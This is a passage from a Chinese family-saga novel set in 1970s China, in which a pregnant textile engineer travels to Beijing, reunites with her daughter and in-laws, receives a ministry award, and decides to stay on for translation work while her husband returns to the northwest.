对面的王振华说不惊讶是假的,可看着两个人这样的互动,又觉得,好像就应该是这样。 讨论还在继续,吃饭时间到了。 二人虽然从家里带了吃的,但陆良辰还是又从火车上买了热饭回来。 王振华感慨道:“没想到在火车上能遇到您,真是受益匪浅!我这次参加纺织部的技术研讨会,要是您能参加就好了。” 火车上这点时间,根本不够讨论的,他是真的想多跟着姜海棠学习一些新知识。 陆良辰轻轻笑着说:“海棠现在身体不便,部里特意说了不用她参加讨论环节,只出席颁奖仪式就好。” 王振华歉意说道:“瞧我这脑子,光顾着说工作!姜工您得多休息。” 姜海棠笑着摆手:“没关系,和技术同仁交流也是休息的一种方式。” 天色逐渐暗下去,陆良辰又悄悄起身,去车厢连接处打来热水,将毛巾浸湿拧干,递给姜海棠擦脸。 一系列动作自然流畅,显然已经成了习惯。 王振华看在眼里,终于没忍住说出了这句一直想说的话:“陆厂长对姜工真是无微不至啊!” 陆良辰笑笑:“她现在可是两个人呢,我当丈夫的帮不了其他的忙,只能好好照顾她。” 天色彻底暗下来,车厢里渐渐安静下来,只有车轮与铁轨有节奏的碰撞声。 姜海棠躺在铺位上迷迷糊糊的睡着了,瞧见姜海棠睡着,陆良辰也才缓缓睡去。 火车哐当哐当地行驶了二十多个小时,终于抵达京城。 小桃子早就和何婉仪一起在站台等候了。 小家伙知道爸爸妈妈要来京城的时候,高兴得都快要飞起来了。 爸爸妈妈果然没有骗她,真的来看她了。 “奶奶,爸爸和妈妈真的在火车上吗?”小桃子说话的时候,还是有点忐忑的。 即便是人已经到了火车站,还是有点不敢相信。 “当然是真的,奶奶什么时候骗过我们小桃子啊!”何婉仪拉着小桃子的小手手柔声说着。 “妈妈!爸爸!”小桃子像只快乐的小蝴蝶一样扑进姜海棠怀里。 只是,在小家伙马上就抱住妈妈的时候,被一双大手给捞走了。 “爸爸!”小家伙看着爸爸,茫然地喊道。 “只想着妈妈,不想着爸爸吗?”陆良辰抱着女儿,并没有说抓住她是担心她撞到妈妈的肚子,而是摆出一副自己吃醋的样子。 果然,小家伙脸上都是笑,甚至搂着陆良辰的脖子咯咯笑。 “爸爸真幼稚!” 被宝贝闺女嫌弃幼稚的陆良辰…… 他捏了捏女儿的小脸,又亲了一下小闺女的额头,将不再激动的小姑娘放在姜海棠的面前。 小家伙小心翼翼地摸摸妈妈的肚子,“弟弟乖不乖?有没有想小桃子?” 姜海棠搂着女儿,眼眶发热,但还是笑着说道:“万一是小妹妹呢?” 好像小桃子一直说是小弟弟,也不知道为什么这么坚定。 “小弟弟,一定是小弟弟!”小桃子果然还是很执拗。 “小弟弟,小弟弟,小桃子说是小弟弟,那就是小弟弟!”何婉仪笑着哄孙女儿。 “妈,带着小桃子,你辛苦了。” “小桃子可乖了,都不用我操心。”何婉仪打量着儿媳妇,整体看着还挺精神的。 “妈,这一路上,人都要发臭了,我们先回家洗漱一下。”陆良辰担心姜海棠一路奔波累了,忙催促。 “老爷子安排了车来接你们,正在外面等着呢,走吧。” 陆老爷子这个人一辈子好强,从来不占便宜,这算是少有的假公济私让他的车接送自家人了。 陆良辰笑着说:“海棠,我们这是沾你的光了。” 姜海棠笑着嗔怪了他一眼,牵着小桃子朝着车站外面走。 陆良辰忙拎着行李跟着走。 王振华出站,正好看到这一家子人远去的背影,忽然觉得有些羡慕。 第299章 要不海棠先调回来 一路上,小桃子叽叽喳喳说个不停,告诉妈妈自己学会了多少新诗,太爷爷带她去了哪些地方,哥哥们带着她和其他的小朋友一起玩打仗的游戏等等…… 反正,小姑娘喋喋不休地说了一路,姜海棠听着女儿用稚嫩的语言说着这些,放心了许多。 女儿在大院里生活得比预想中的要好上许多,并没有因为不是陆家亲生就受到歧视。 回到陆家老宅,陆老爷子看着孙媳妇明显隆起的腹部,既欢喜又担心:“这一路辛苦了吧?赶紧回房歇着,收到你们的消息,就给你们把被褥都晒过了。” “爷爷,我们不累,先洗洗就下来陪您说话。”姜海棠说道。 “不用不用,你们休息一下,你二婶准备晚饭呢,一会儿就能吃了。” 何婉仪回到家里之后,也忙到厨房里去帮忙准备晚饭去了。 “大嫂,就等着你呢,这个菜我总是做不好。”袁一楠一面切菜一面招呼何婉仪。 何婉仪忙洗手开始忙碌起来。 陆家老宅的餐厅里,主位上坐着陆老爷子和姜国柱。 两位老人虽然年事已高,但精神矍铄,正低声交谈着。 虽然现在物资相对匮乏,但毕竟陆老爷子和姜老爷子两个人的身份摆在那里,待遇还是很不错的。 为了姜海棠和陆良辰的到来,提前就开始准备了,袁一楠和何婉仪很快就准备了一桌丰盛的饭菜。 “爷爷,您身体现在可还好?”姜海棠看到爷爷的精神不错,放心了许多,但还是上前问。 “你看看,比之前好了不少,你们给我找的大夫可是个能干的,几服药把我的老毛病治得差不多了,又给我开了药温养着,已经大好了。”姜老爷子看到姜海棠的时候,也是双目含泪。 唯一的小孙女啊,却不能留在自己身边,而是远在千里之外。 “嘁,也不知道是谁怕苦,都不愿意吃药,每天让小桃子哄着才肯喝药。”陆老爷子嗤之以鼻的说道。 一句话,让原本有些伤感的气氛瞬间活络了起来。 姜国柱气呼呼地说:“怎么了?你嫉妒我有小桃子哄我喝药?” “你是不是忘了,小桃子姓陆,是陆家的孩子!我为什么要羡慕你?”陆老爷子当仁不让的说道。 前段时间,因为觉得姜老爷子快要油尽灯枯了,陆老爷子时时处处让着他,两个人可有一段时间没有吵过。 现在姜老爷子身体好得差不多了,陆老爷子也不打算让着他了。 尤其总是嫉妒小桃子为什么总和姜老爷子比较亲,两个人吵架的次数明显上升。 “两位太爷爷,不能吵架哦,吵架不是好孩子!”小桃子仰着小脸一本正经地提醒。 两个被定性为不是好孩子的老头子立即乖乖埋头当好孩子,甚至表现出一副非常和睦的样子。 姜国柱感慨道:“海棠这孩子能有今天,多亏了良辰的照顾。” 陆老爷子摆摆手:“是海棠自己争气!一个女娃娃,能在技术上取得这样的成就,不容易啊!” 听着两个人一本正经的打官腔,陆良辰都想笑了。 陆父和陆二叔坐在一旁,也不搭理这两个加起来一百多岁的老头子,而是讨论着当前的政治形势。 陆二叔是部队干部,说话带着军人特有的干脆利落:“最近形势越来越好,听说要重视科技发展了,大哥,你们那边有什么消息吗?” 陆父点头:“是啊,我们这边已经能感觉到了,以后的形势会越来越好。不说我们,就看海棠这次获奖,也说明国家开始重视科技人才了。” 厨房里,何婉仪和袁一楠正在忙活最后几道菜。 时书岚在一旁打下手,她性格温婉,话不多,但做事很利索。 “书岚,把那个红烧肉端出去吧,小心烫。”何婉仪嘱咐道。 时书岚应了一声,小心翼翼地端起一大盆的红烧肉。 这时,陆良谨走进来帮忙:“我来吧,小心烫手。” 时书岚将手中的红烧肉盆子递给陆良谨,回头端了凉菜跟着一起出门。 餐厅里,五个半大的小子正围着姜海棠问东问西。 陆保国对技术很感兴趣:“小婶,您设计的机器真的能自动换梭吗?这是什么原理啊?” 姜海棠耐心地解释着,不时用手比划。 陆良辰在一旁看着,眼中满是骄傲。 陆忠国拉着小桃子的手问:“小桃子,你妈妈来了,你是不是不喜欢和哥哥们玩了?” “没有啊,等下吃完饭,还要跟着你们去玩打仗的游戏呢。”小桃子一本正经地回答。 听到小闺女竟然跟着几个臭小子玩打仗的游戏,陆良辰只觉得满头黑线。 他娇娇软软的小闺女,怎么可以跟着一大群臭小子玩打仗的游戏? 想着劝说闺女要玩小女孩的游戏,又想起来,家里好像没有小姑娘,还真没有人陪着小桃子玩女孩子的游戏。 很快,所有菜都上齐了,满满当当的一大桌子。 陆老爷子举起茶杯:“来,今天咱们以茶代酒,一是欢迎海棠和良辰回家,二是庆祝海棠获得部里大奖!这是咱们全家的光荣!” 大家纷纷举杯,气氛热烈得不得了,就连几个孩子也都端起杯子一起干杯 姜海棠看着桌子上的红烧肉、清蒸鱼、羊肉汤、炒鸡蛋、烤鸭、白菜炖粉条、番茄丸子汤,几个时令蔬菜和桌子中间一大盆白白胖胖的饺子,知道二婶为了准备这些没少花力气。 “今天怎么没看到王婶?”姜海棠扫视了一圈问。 “王婶家里有些事,请了两天假,可巧你就来了,今天这一桌子的菜,都是你二婶和你大嫂的功劳。”何婉仪笑着说道。 “今天这饺子馅可是按海棠口味调的,少油少盐。”袁一楠笑着说,“孕妇不能吃太咸。” 姜海棠感动地说:“谢谢二婶,您费心了。” 陆老爷子先给姜国柱夹了块鱼:“来,老姜头,尝尝,这是早上刚买的,新鲜着呢!” 然后又给姜海棠夹了块红烧肉,语气十分殷勤地说:“海棠多吃点,你现在可是两个人呢!” 一家人边吃边聊,气氛温馨融洽。 陆良谨问起陆良辰的工作情况:“你们厂现在的发展好像很不错啊。” 陆良辰简单的介绍了一下,厂里的情况确实不错,尤其是现在承接了军方的军需布料之后,发展势头更是不错。 不过,有些事可以说,有些还真不能说,陆良辰就含糊了过去。 听到机械厂那边不光生产大型机械,还生产简单的农用机械,农民出身的姜国柱立即有了感触:“好啊!这才是真正为农民办实事!农村要发展,就需要这样的技术创新!” 陆老爷子看着姜海棠,很高兴:“咱们陆家和姜家,都是从军,战争年代还算有用武之地,到了和平年代,能为国家做的就少了,海棠,多亏有你啊!” 姜海棠不好意思地挠挠头,腼腆说道:“爷爷,这次得奖真的很意外,其实,还有很多人比我更加优秀,只是他们……和他们比起来,我还差得远呢……” 姜海棠含糊过去的话,在场的人当然都听懂了,是啊,有许多有真才实学的人,就因为这一场动乱,被下放了,以至于科技发展都受到了很大影响。 不过,姜海棠知道,已经不一样了,很快,国家的政策就会调整,那些有才能的人,就可以回归原本的位置,继续为国家发光发热了。 “政策已经开始调整了,相信再过不久,一切都会好起来的。”姜国柱忽然说了这样一句。 姜海棠虽然知道政策肯定会有变化,但现在从姜老爷子的口中听到,那就意味着,上面真的已经有政策了。 “海棠啊,这次来领了奖,要不就留在京城别回西北了,你这样,我们也不放心。”袁一楠忽然开口说道。 陆良辰立即一紧张,二婶这意思,是要让海棠以后都留在京城?其实,按照海棠的能力,留在京城很容易。 只是,他那边的工作还需要一段时间才能完成。 姜海棠笑着说道:“二婶,我那边还要盯一段时间才行,到了年底再说调动的事情吧。” 她虽然不是很清楚陆良辰在做些什么,但是,她知道,陆良辰除了明面上的工作之外,应该还有一项秘密任务,只是,陆良辰不说,她就不问。 可是,让陆良辰留在西北,她在京城,她是不能放心的。 袁一楠笑道:“看看,小两口的关系就是好,你们这样,我们当长辈的也能安心了。” 第300章 保护太爷爷的小姑娘 晚饭后,男人们移到客厅喝茶聊天,女人们收拾餐桌。 小桃子和几个哥哥在院子里玩捉迷藏,笑声阵阵。 姜海棠要帮忙洗碗,被何婉仪和袁一楠坚决制止了:“你现在可不是一个人,又是长途奔波了这么长时间,歇着去!” 时书岚悄悄对姜海棠说:“海棠,你真了不起。我听说你可是这一次领奖的唯一一个女同志,上面可重视了。” 对于这个消息,姜海棠并不意外。 这个年代,女同志虽然说能顶半边天,可实际上,太多的女同志能从事的还是那些传统的工作,想要崭露头角依然很难。 “我相信,以后一定会有越来越多的女同志能站在领奖台上,和男人一样被万众瞩目。” 收拾好碗筷,袁一楠拿出厚厚一摞技术文献递给姜海棠,姜海棠大致翻阅了一下,主要是关于纺织机械最新发展的。 “部里找了好几个翻译,都说不懂专业术语。”袁一楠无奈地说,“我想来想去,只有你这个既懂外语又懂技术的最合适,海棠,你觉得你能翻译吗?” 姜海棠接过那厚厚一摞资料,指尖拂过略显粗糙的纸张,感受到的是一种沉甸甸的信任和责任。 她简单地翻看了一下,确实有很多专业术语,要是寻常不懂专业的翻译,出现失误在所难免。 如果放在后世,这样的专业人员显然不在少数,可是在这个特殊年代,找到专业的翻译还是很难的。 “二婶放心,我觉得我能行,正好领奖后还有几天时间,我可以先开始翻译一部分。” 姜海棠心里盘算了一下,翻译完这些资料大概需要多少时间,自己能不能在生孩子之前完成。 何婉仪端着切好的水果出来,放在姜海棠的面前说道:“海棠,工作要紧,身体也要紧,可别为了工作糟践身体。” 姜海棠工作起来有多么拼命,她这个当婆婆的可是知道的。 要不是弟妹说这个文献是真的没有人能翻译,她都不希望找到姜海棠。 “妈,我知道的,不管什么时候,我都会首先保证身体健康。” 何婉仪对于姜海棠的这个回答是比较满意的,点点头。 “二婶,这些资料很重要,我会尽快开始翻译,有些术语可能需要斟酌,我会尽力确保准确。我在颁奖礼之前先翻译一部分,您看可以吗?” 袁一楠松了口气,脸上露出欣慰的笑容:“交给你我就放心了,海棠啊,要是你能在这几天翻译一部分出来就最好不过了。” 虽然部里接受了她的建议,答应让姜海棠试试,可是,到底还是心存一点怀疑的。 而且,现在部里确实急需要这些资料解燃眉之急。 这时,小桃子玩得满头大汗地跑进来,扑到姜海棠腿边:“妈妈,哥哥们说明天带我去掏鸟窝!” 陆良辰刚好走进来听到这话,脸一板:“不行!太危险了,女孩子家家的爬什么树。” 小桃子的小嘴立刻撅了起来,委屈地看向妈妈。 爸爸刚来就凶自己,一定是不爱自己了。 姜海棠摸摸女儿的头,对陆良辰笑道:“没事,让她去玩吧,在大院里不也这样。看着点就行,别摔着。” 看起来,女儿在大院里养得并不娇气,也是,生活在大院里的孩子们,多少都是有些家传的,上树掏鸟,简直算不得什么。 陆良辰看着女儿亮晶晶充满期待的眼睛,只好妥协:“那得让哥哥们看好你,不准爬太高。” 只是,陆良辰心里已经决定了,回头得给几个臭小子说说,要看好妹妹,妹妹可是娇滴滴的小姑娘,和他们不一样。 “谢谢爸爸!谢谢妈妈!”小桃子欢呼一声,又像一阵风似的跑了出去,院子里立刻传来她兴奋的报喜声。 夜晚,回到安排好的房间,阳光晒过的被褥蓬松柔软,散发着好闻的味道。 舟车劳顿的疲惫袭来,但姜海棠还是就着台灯,翻开了那叠技术资料。 陆良辰洗漱出来,看到她专注的侧脸,灯光在她睫毛下投下一小片阴影,腹部隆起的曲线显得格外温柔而有力。 他走过去,轻轻抽走她手中的笔:“今天太累了,先休息,明天再看。” 姜海棠揉了揉有些发酸的眼睛,靠进他怀里:“嗯,只是先看看大概。内容确实很专业,涉及不少最新的自动控制原理,国内这方面资料太少了。” “你肯定没问题,不要给自己太大的压力,也别太累着自己,你现在可不是一个人了。”他的手轻轻抚摸姜海棠的肚子。 姜海棠笑着点头,感受着那份安稳。 “海棠,我觉得,你现在留在京城也挺好的,虽然我很舍不得你,可我也舍不得你这样辛苦。” “而且,你现在的情况,留在京城确实更好,医疗条件、家人照顾都更方便。等我那边结束,立刻申请调回来,很快的。” 姜海棠温柔笑着摇头:“我们是夫妻,自然要在一起的。” 陆良辰沉默了一下,将她搂紧:“我知道你担心我。但我那边的任务……确实还需要收尾,你跟着我去,我也会担心你的安危。” “不会的,我虽然不知道你那边到底是什么秘密任务,可我能猜到,并不会影响到我。” 陆良辰含笑问道:“就这么相信我?” “如果对家人有影响,你肯定不会允许我留着,早就想法子把我送到京城来了,你只是担心我怀孕不方便,对不对?” 姜海棠说出这番话的时候,语气是十分笃定的,这么长时间,她已经想得很明白。 陆良辰嘴角弯起,轻捏了一下姜海棠耳朵,说道:“我媳妇儿就是聪明,连这个都被你猜到了。” 两个人正准备睡觉,小桃子抱着小枕头来了。 “我今晚要和爸爸妈妈一起睡。” 夫妻二人谁都没有拒绝女儿,陆良辰把小姑娘抱到床上,把她的小枕头放在大床的中间。 “好,我们小桃子今天晚上和爸爸妈妈一起睡。” 小桃子立即拍着小巴掌欢呼。 姜海棠好奇问道:“小桃子,爸爸妈妈不在的时候,你和谁一起睡?” “不打雷的时候和奶奶一起睡,打雷的时候和太爷爷一起睡。”小姑娘利索地爬到床上,乖乖躺下来,然后一本正经的回答。 姜海棠和陆良辰两个人对视一眼,显然不明白。 “为什么打雷的时候和太爷爷一起睡?”姜海棠好奇地问。 “妈妈,这个秘密我告诉你,你不能告诉别人喔!”小姑娘小小声的说道,那呆萌呆萌的表情,别提多可爱了。 姜海棠不自觉地压低声音说:“好,妈妈保证,不告诉别人。” “太爷爷胆子小,怕打雷,打雷的时候,小桃子要陪着太爷爷哦!好在今天晚上没有打雷,不用陪着太爷爷!” 小姑娘一副如释重负的表情。 陆良辰差点没笑出来,老头子还挺会哄孩子的。 怕打雷? 怎么想出来的? 随即,陆良辰似乎想到了什么,轻轻抱住了小桃子。 老头子只怕是看到小桃子一个人孤单,才会这么骗小家伙的。 “小桃子,太爷爷很爱很爱你。” 小桃子不懂爸爸说这句话是什么意思,但是,她知道,太爷爷很爱很爱她,就像她也很爱很爱太爷爷一样。 当天晚上,一家三口挤在一张床上。 小桃子缠着让妈妈给他讲故事,姜海棠温柔地拍着女儿,给她讲着童话故事。 小桃子点点头,依偎在妈妈怀里,很快就睡着了。 月光从窗户洒进来,照在一家三口身上。 陆良辰轻声说:“海棠,等我忙完,我们就能回来陪着小桃子一起了。” 姜海棠握住他的手:“我们以后会一直在一起,你和我,和小桃子,还有肚子里这个小家伙。” 接下来的几天,姜海棠除了偶尔陪老爷子们说说话,和婆婆二婶大嫂他们聊聊天,大部分时间都伏案工作。 书房里堆满了各种词典和她自己带来的技术笔记。 袁一楠看着眼里,又是心疼又是佩服,变着法儿地给她炖汤补身体。 何婉仪和时书岚也常来帮忙,或是端来点心水果,或是帮忙照看小桃子,让她能更专注。 小桃子似乎也知道妈妈在忙重要的事情,并不过多打扰,更多时候是跟着几个哥哥在大院里疯玩。 期间,姜海棠获奖的消息在相熟的人家里传开,偶尔有客人来访,说起此事,无不称赞。 陆老爷子表面上谦虚,那眼里的骄傲却藏都藏不住。 要不怎么说自己家良辰这个小子是个有本事的,看人的眼光就是好。 在西北那样的地方,都能找到海棠这么厉害的媳妇呢? 尤其这厉害媳妇还是差点儿和他定了娃娃亲的。 陆良辰这些日子也没闲着,他每天早出晚归的,至于忙什么,陆良辰没说,姜海棠也没问。 偶尔闲下来的时候,他就在家里陪着姜海棠和小桃子,在姜海棠翻译累了的时候给她倒水,帮她按摩肩颈,陪着小桃子在院子里玩游戏。 三天后,姜海棠已经完成了一万字的翻译稿,姜海棠将这些翻译稿交给袁一楠。 袁一楠迫不及待地拿到部里,很快,反馈就来了。 部里的人经过慎重的研判之后,认为这份翻译稿翻译得准确无比。 部里的领导盛赞翻译的质量极高,不仅准确无误,而且很多地方的小备注甚至为他们解决了大难题! 部里领导也因此对姜海棠更是高看一眼,认为姜海棠是真正难得一见的人才,甚至,破格提前给姜海棠预支了一百块钱的翻译费,又给了不少的各种全国通用的票据。 第301章 留下 拿到了部里预支的翻译费和一摞票据,姜海棠挺欢喜的。 虽然她手中目前有不少存款,可是,依靠工资过日子,要过上好日子,基本不可能。 尤其是回到京城之后,手中的那些钱根本不够,她还想着,等有一天回来了,要在京城买房子,最好能买个四合院呢。 不过,只是这一百块钱,也不够干什么的,就算存起来,意义也不大。 姜海棠开始谋算起来,要给爷爷们买些上好的茶叶,虽然二老都不缺,可是,他们二老对他们这个小家帮助不少,人要懂得感恩。 给婆婆和二婶扯块衣料做衣服,这两位对她都很好,还有家里的其他人,也要送点礼物,这么一算,这一百块,根本不够用。 袁一楠没想姜海棠现在在干什么,笑着说道:“海棠啊,这本书你要是都翻译出来了,收入最少也要六七百块钱呢,正好要生孩子,到时候家里可能宽松不少。” 姜海棠笑着向袁一楠道谢:“谢谢二婶,我看到这些票据里面还有几张奶粉票呢,这可是十分珍贵的。” 上面之所以给她奶粉票,不用想都不知道,是袁一楠帮忙了。 “我只是顺嘴提了一句,说你要生孩子了,他们就准备了,其实我也没做什么。” “总之,还是要谢谢二婶您。也请您放心,我会认真地翻译,争取尽善尽美。” 姜海棠想着,以后,说不定还有更多的专业资料需要翻译,她翻译得好了,后面才能继续得到机会。 不得不说,从事翻译工作,在当前来说,算是十分赚钱的。 最起码,比一个工人上班的工资要高出太多了,就是比她这个工程师的工资也要高出不少。 更重要的是,翻译这些原文,她还能在夜梦空间里看到与之相关的书籍,对于她的研究好处不少。 “我还能不知道你是什么样的孩子?要不是放心你,我也不该给部里推荐。只一点,海棠你翻译也不要太辛苦,保重自己最要紧。” 袁一楠看着姜海棠几天时间就翻译出了这么多,心里多少有些担心姜海棠太辛苦。 家里人都回来之后,听到这个好消息,全家人都与有荣焉。 陆老爷子更是欣慰得不得了:“海棠啊,你可别辜负组织对你的希望,好好翻译!” 姜海棠应下来。 “为了庆祝咱们孙媳妇取得阶段性的成绩,婉仪啊,你张罗下,今晚加菜!” 何婉仪能听出来,陆老爷子这是真心为姜海棠高兴,她立即应下来。 “爹,我知道了,您放心,我这就张罗起来。” 王婶已经休假回来了,正在厨房里忙活着呢。 这几天,因为陆良辰一家子都在的关系,家里的伙食本来就比之前要好上一些,食材准备也比较齐全,说要加菜,王婶很快就张罗起来了。 晚饭时分,氛围格外热烈。 家里大大小小的人都朝着姜海棠说恭喜,姜海棠一一道谢,这个家里气氛是真的很融洽。 小桃子也学着大人的样子,举起自己的小杯子,像模像样地说:“祝贺妈妈!” 小桃子小大人一样的话,把大家都逗得哈哈大笑起来,气氛别提多融洽了。 第二日就是颁奖典礼了,一大早,袁一楠就拿来一套崭新的深蓝色女式中山装:“快试试合不合身?领奖可不能穿得太随便。” 姜海棠没想到,婆婆竟然还给自己准备了衣服,其实,她现在怀孕呢,没想过做新衣服。 但今天是颁奖礼,不穿体面一点,确实不好看。 姜海棠换上衣服,看着镜中的自己精神利落,隆起的腹部反而增添了几分庄严。 陆良辰眼中满是惊艳:“我媳妇真好看!” 姜海棠听到陆良辰夸自己,嘴角也不由地弯了起来。 这个男人,看着是个大大咧咧的性格,可实际上,却是一个很能提供情绪价值的人。 今天的颁奖大会庄重而热烈。 当听到“姜海棠同志在纺织机械领域的创新贡献”时,陆良辰紧紧握住了他的手,眼里的欢喜和激动,可一点都不比姜海棠少。 走上领奖台的那一刻,姜海棠百感交集。 上辈子的阴霾彻底过去,这辈子,她走出了不一样的人生,以后应该是完全不一样了。 “这个奖不属于我一个人,”在获奖感言中,姜海棠真诚地说,“它属于所有支持我、帮助我的领导和同志们,属于千千万万奋战在工业生产第一线的工人们!今后,我一定会更加努力,和同志们一起努力,在纺织机械方面做出更多的贡献!” 台下响起热烈的掌声。 最开始听说,今年的创新贡献奖给了西北边陲机械厂一个年轻女工程师的时候,其实还有很多人是有意见的。 可是,当大家都看到了那台纺织机的时候,也知道了,这台纺织机,就算在未来二十年内,都是不会被淘汰的。 尤其又听说姜海棠还改进了不少纺织机械后,那些意见也就没有了。 承认别人优秀并不难,尤其是对方是真的优秀,他们能走到今天,也不是没有眼光的人。 一位头发花白的部领导握着她的手,十分激动地说:“姜海棠同志,你设计的机械不仅提高了生产效率,更填补了国内空白!你还年轻,以后还有更加广阔的未来,我相信你,也希望你再接再厉,为国家做出更大贡献!” 姜海棠笑着应了,并保证以后会更加努力做出应有贡献。 颁奖结束后,还有一个小型座谈会。 会上,姜海棠的发言再次引起关注。 她不仅介绍了自己的设计理念,还对国外纺织机械的发展趋势提出了独到见解。 “姜同志对外国技术也很了解?”一位专家惊讶地问。 一个西北边陲的女同志,怎么会这么熟悉国外的技术? 这时候,有人认出姜海棠了,姜海棠就是去年跟着周副部长去国外交流的女同志。 当众人知道,姜海棠年纪轻轻,就已经得到部领导如此重视的时候,却生不起任何妒忌之心了。 毕竟,人家现在和他们已经不在一个起跑线上了,甚至,人家走出的这条路,是他们未来拍马都赶不上的。 既然是赶不上的,何必要嫉妒呢? 姜海棠谦虚地说:“看过一些资料。” 听姜海棠如此说,有人说道:“可惜国外的很多文献并没有被翻译过来,我们也不懂外语。” “是啊,偶尔有翻译的,可那翻译质量,确实算不上好,连蒙带猜的,真是费劲。” 姜海棠听了,更加觉得袁一楠交给自己的任务任重而道远。 如果能及时地翻译国外最新技术文献,对国内行业发展会有非常大的帮助。 她以后要更加努力才对。 这话提醒了在场的领导。 很快,就有人提出要成立一个专门的翻译小组,负责引进国外先进技术。 座谈会结束后,袁一楠高兴地告诉姜海棠:“部里领导很欣赏你,说要借调你来北京工作一段时间!” 姜海棠一愣:“借调?” “是啊,就是临时来帮忙翻译和技术咨询,时间灵活,我觉得这对你来说是好事,毕竟,再有三个月孩子就该出生了,留在京城,我们人多,可以更好地照顾你。” 姜海棠原本是打算跟着陆良辰一起回去的,可袁一楠这么说,好像也很有道理。 “这个需要和良辰商量一下才成,二婶,让良辰一个人留在西北,我有些不放心。” 袁一楠笑着说:“是应该商量商量。” 既然是夫妻,有商有量的才合理。 回到家之后,长辈们担心姜海棠太累,让陆良辰陪着姜海棠先回房休息一下,再下楼吃饭。 陆良辰扶着姜海棠靠在床头,看着妻子水肿的小腿,轻轻地帮她捏腿。 “媳妇,生个孩子可真不容易,看看你这个腿,都肿成这样了,以后要少劳累一点才行。” 说不心疼那是假的,以前看着别人的媳妇怀孕,并不觉得有什么,现在轮到自己媳妇了,是真的心疼。 “良辰,二婶说,部里想暂时借调我过来帮一段时间的忙,你觉得怎么样?” “棠棠,你怎么想的?”陆良辰声音格外低沉温柔。 “良辰,我……我其实有点拿不定主意。”姜海棠确实有点拿不定主意,在去与留之间,这其实是个很为难的问题。 陆良辰没有立刻回答,而是抱住她的肩膀,将她搂得更紧了些,下巴轻轻蹭着她的发顶。 “从理智上说,留在京城对你、对孩子是最好的选择。京城的医疗条件好,妈和二婶她们都能精心照顾你,家里还有王婶帮忙,我能更加安心。再加上,你留在京城,还能好好陪陪姜爷爷,老人家一辈子了,才找到你这个孙女,不容易。”他缓缓地将自己心里的想法说了一遍。 “可是……”姜海棠的声音里带着明显的不舍和犹豫。 “把你一个人留在西北,我不放心。你工作起来总是废寝忘食,没人提醒你吃饭添衣,那边条件又艰苦,你照顾不好自己怎么办?”姜海棠的语气里都是担忧。 “还有,生孩子的时候,如果你不在身边,我……我会害怕。” 这一刻,她不再是那个台上自信的工程师,只是一个依赖丈夫的普通妻子和即将生产的母亲。 别人的陪伴虽然很重要,但丈夫的陪伴更加重要,这让姜海棠真的很难取舍。 陆良辰的心瞬间软得一塌糊涂,还夹杂着细细密密的疼。 他握住姜海棠的手,放在唇边吻了吻。 “傻媳妇,你生孩子,我就算排除万难也要来陪你的。”他叹息般地说。 “真的?” 第302章 全家福 “当然是真的,我怎么可能骗你?只有我一个人在西北,你也不用担心,我一个大男人,有什么不能照顾好自己的?” “倒是你怀着孩子,还要工作,回金城的话那边凡事都要你自己操心,我也放心不下。” “我舍不得你!” 听姜海棠这么说,陆良辰便知道,她已经做好选择了。 他捧起她的脸,让她看着自己的眼睛,目光真诚而坚定。 “我知道你舍不得我,我也一样,一万个舍不得你和孩子。但正是因为我们彼此牵挂,才更要选择对你最安全、最好的路。” “我们很快就能团聚的,你安心在京城把我们的孩子平平安安生下来,把身体养好,我在西北才能心无旁骛地尽快完成任务,然后申请调回来,我们一家就能永远在一起了。” 如果不是因为姜海棠找到爷爷的话,他们在西北多待几年,其实也没什么不可以,但姜老爷子需要孙女的陪伴,还是要尽快调回来。 “说不定我能尽快完成任务,到时候调令和新生命一起到来,那是双喜临门。” 姜海棠听着陆良辰的话,依偎在他的怀里缓缓点头。 他的话让她安心不少,也终于下定了决心。 “你说得对,”她轻声说,“是我想岔了,光顾着舍不得。留在京城,确实是对孩子、对我、对工作最好的选择。” “你也要答应我,一定要按时吃饭,注意安全,不许拼命。要想着我和孩子们。” “傻瓜,你不说我也会一直想着你们。”陆良辰郑重承诺,低头吻了吻她的额头 晚饭后一家人围坐在客厅里,喝着王婶沏的茶。 陆良辰将夫妻二人商量的结果说了出来。 陆老爷子清了清嗓子,率先开口:“良辰,海棠,你们的选择很对,留在部里工作一段时间,对海棠来说是好事,这样的机会十分难得,可以让海棠的成长更加快速。” 这个孙媳妇,能力足够,只是平台差了一点,到部里工作一段时间,就可以补上这个短板,等调动工作的时候,才能有个好岗位。 这孩子,也是个真心知道心疼良辰的,要不然,上次周部长让她留在京城的时候,她就不会放弃那样好的机会了。 可陆家,不能总让嫁进门的媳妇为了家里牺牲。 他看向姜海棠隆起的腹部,又对陆良辰说:“海棠这身子,再奔波回西北,我们都不放心。京城医疗条件好,家里人多,能把海棠照顾得妥妥帖帖。” 姜国柱老爷子也点头附和:“老陆头这话在理。海棠,工作重要,但你和孩子的身体更重要,爷爷也舍不得你再跑那么远。” 陆良辰知道,这是两位老爷子表态呢,表明了,他们会好好照顾姜海棠的。 其实,有家里人照顾,他并没有什么不放心的,正要说话,何婉仪已经开口了。 “良辰,你放心,妈和你二婶、大嫂,肯定把海棠照顾得好好的,绝不让她受一点委屈。” 袁一楠也接着说:“是啊,等孩子满月,要是良辰那边还没结束,海棠身体恢复了,再回去也不迟。” 听到家里人的保证,陆良辰还有什么不放心的,家里的人,对海棠都是真心诚意的。 姜海棠感受着全家人的关心,也十分动容,那点仅剩的忐忑也消失了。 “爷爷,爸,妈,二叔二婶,我知道大家都是为了我和孩子好,未来这段时间,就要叨扰你们了。” 袁一楠笑道:“你这孩子,一家人还说两家话。” 大事商定,大家都在笑,小桃子虽然不太明白具体发生了什么,但感觉到大家都很高兴,也跟着傻乐。 陆良辰看着女儿可爱的笑脸,想到这段时间没有看到小桃子的思念,要是连姜海棠都见不到,他会更加想念的。 他提议:“要不,我们明天去拍照片好不好?我们拍一张全家福,也给海棠和小桃子拍一张照片。说起来,她们还都没有拍过照片呢。” 听到陆良辰的提议,陆老爷子大手一挥,洪亮地笑道:“好!这个主意好!是该照张相,好好纪念一下!海棠又得了大奖,是得照一张!” 这个提议立刻得到了所有人的赞同。 他转头就对身边的工作人员吩咐:“小张,去安排一下,找个照相馆,我们明天上午去拍照。” 小张一听,领导要拍照,忙去联系了。 开玩笑,陆老是什么身份,姜老又是什么身份,这样两位拍照,怎么能去照相馆? 何婉仪则去给陆思敏打电话去了,让给他们一家子人明天也回来一起拍照。 第二天上午九点刚过,一位穿着整洁中山装、背着沉重相机包和三脚架的老师傅,就在小张的引领下到了陆家老宅的院子里。 老师傅显然不是第一次来这种大院人家拍照,态度恭敬却不卑不亢。 